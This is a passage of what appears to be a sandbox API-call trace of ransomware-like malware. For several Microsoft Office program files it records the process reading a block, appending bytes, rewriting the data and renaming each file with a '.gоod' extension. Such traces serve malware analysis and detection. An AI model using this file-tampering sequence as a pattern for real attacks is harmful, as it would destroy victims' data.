nFileSizeHigh=0x0, nFileSizeLow=0x32ee0)) returned 1 [0169.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0169.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\projimpt.exe.gоod")) returned 1 [0169.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0169.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), fInfoLevelId=0x0, lpFileInformation=0x37fbc08 | out: lpFileInformation=0x37fbc08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8450)) returned 1 [0169.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0169.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.262] GetFileType (hFile=0x63c) returned 0x1 [0169.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.262] GetFileType (hFile=0x63c) returned 0x1 [0169.262] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0169.262] ReadFile (in: hFile=0x63c, lpBuffer=0x37fc020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x37fc020*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0169.263] CloseHandle (hObject=0x63c) returned 1 [0169.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.264] GetFileType (hFile=0x63c) returned 0x1 [0169.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.264] GetFileType (hFile=0x63c) returned 0x1 [0169.264] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xe8450 [0169.264] WriteFile (in: hFile=0x63c, lpBuffer=0x37fd420*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x37fd420*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0169.265] CloseHandle (hObject=0x63c) returned 1 [0169.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.266] GetFileType (hFile=0x63c) returned 0x1 [0169.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.266] GetFileType (hFile=0x63c) returned 0x1 [0169.266] ReadFile (in: hFile=0x63c, lpBuffer=0x37ff6e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37ff6e0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0169.366] CloseHandle (hObject=0x63c) returned 1 [0169.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.367] GetFileType (hFile=0x63c) returned 0x1 [0169.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.367] GetFileType (hFile=0x63c) returned 0x1 [0169.367] WriteFile (in: hFile=0x63c, lpBuffer=0x3481bd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3481bd8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0169.367] CloseHandle (hObject=0x63c) returned 1 [0169.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe", lpFilePart=0x0) returned 0x43 [0169.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe.gоod", lpFilePart=0x0) returned 0x48 [0169.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0169.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x612b2899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe8460)) returned 1 [0169.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0169.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\protocolhandler.exe.gоod")) returned 1 [0169.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0169.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0169.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), fInfoLevelId=0x0, lpFileInformation=0x34d7bf0 | out: lpFileInformation=0x34d7bf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23572815, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a900)) returned 1 [0169.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0169.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0169.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.371] GetFileType (hFile=0x63c) returned 0x1 [0169.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.371] GetFileType (hFile=0x63c) returned 0x1 [0169.372] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0169.372] ReadFile (in: hFile=0x63c, lpBuffer=0x34d7fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34d7fe8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0169.373] CloseHandle (hObject=0x63c) returned 1 [0169.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0169.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.374] GetFileType (hFile=0x63c) returned 0x1 [0169.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.374] GetFileType (hFile=0x63c) returned 0x1 [0169.374] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1a900 [0169.374] WriteFile (in: hFile=0x63c, lpBuffer=0x34da3a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34da3a0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0169.376] CloseHandle (hObject=0x63c) returned 1 [0169.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0169.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0169.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0169.377] GetFileType (hFile=0x63c) returned 0x1 [0169.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0169.377] GetFileType (hFile=0x63c) returned 0x1 [0169.377] ReadFile (in: hFile=0x63c, lpBuffer=0x34de910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34de910*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.127] CloseHandle (hObject=0x63c) returned 1 [0170.128] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0170.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.128] GetFileType (hFile=0x63c) returned 0x1 [0170.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.128] GetFileType (hFile=0x63c) returned 0x1 [0170.128] WriteFile (in: hFile=0x63c, lpBuffer=0x34897b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34897b0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0170.128] CloseHandle (hObject=0x63c) returned 1 [0170.128] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV", lpFilePart=0x0) returned 0x3c [0170.128] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV.gоod", lpFilePart=0x0) returned 0x41 [0170.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0170.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x619d825e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a910)) returned 1 [0170.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0170.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav.gоod")) returned 1 [0170.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0170.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), fInfoLevelId=0x0, lpFileInformation=0x373f528 | out: lpFileInformation=0x373f528*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x353f7)) returned 1 [0170.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0170.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.132] GetFileType (hFile=0x63c) returned 0x1 [0170.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.132] GetFileType (hFile=0x63c) returned 0x1 [0170.132] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0170.132] ReadFile (in: hFile=0x63c, lpBuffer=0x373faa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x373faa8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0170.133] CloseHandle (hObject=0x63c) returned 1 [0170.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.133] GetFileType (hFile=0x63c) returned 0x1 [0170.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.133] GetFileType (hFile=0x63c) returned 0x1 [0170.133] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x353f7 [0170.134] WriteFile (in: hFile=0x63c, lpBuffer=0x3740d40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3740d40*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0170.472] CloseHandle (hObject=0x63c) returned 1 [0170.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.472] GetFileType (hFile=0x63c) returned 0x1 [0170.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.472] GetFileType (hFile=0x63c) returned 0x1 [0170.472] ReadFile (in: hFile=0x63c, lpBuffer=0x3499770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3499770*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.525] CloseHandle (hObject=0x63c) returned 1 [0170.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.525] GetFileType (hFile=0x63c) returned 0x1 [0170.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.525] GetFileType (hFile=0x63c) returned 0x1 [0170.525] WriteFile (in: hFile=0x63c, lpBuffer=0x3334688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3334688*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0170.525] CloseHandle (hObject=0x63c) returned 1 [0170.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM", lpFilePart=0x0) returned 0x39 [0170.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM.gоod", lpFilePart=0x0) returned 0x3e [0170.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0170.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x61db7fcc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x35407)) returned 1 [0170.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0170.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm.gоod")) returned 1 [0170.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0170.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), fInfoLevelId=0x0, lpFileInformation=0x333f200 | out: lpFileInformation=0x333f200*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1ba7093, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd4e8)) returned 1 [0170.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0170.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.528] GetFileType 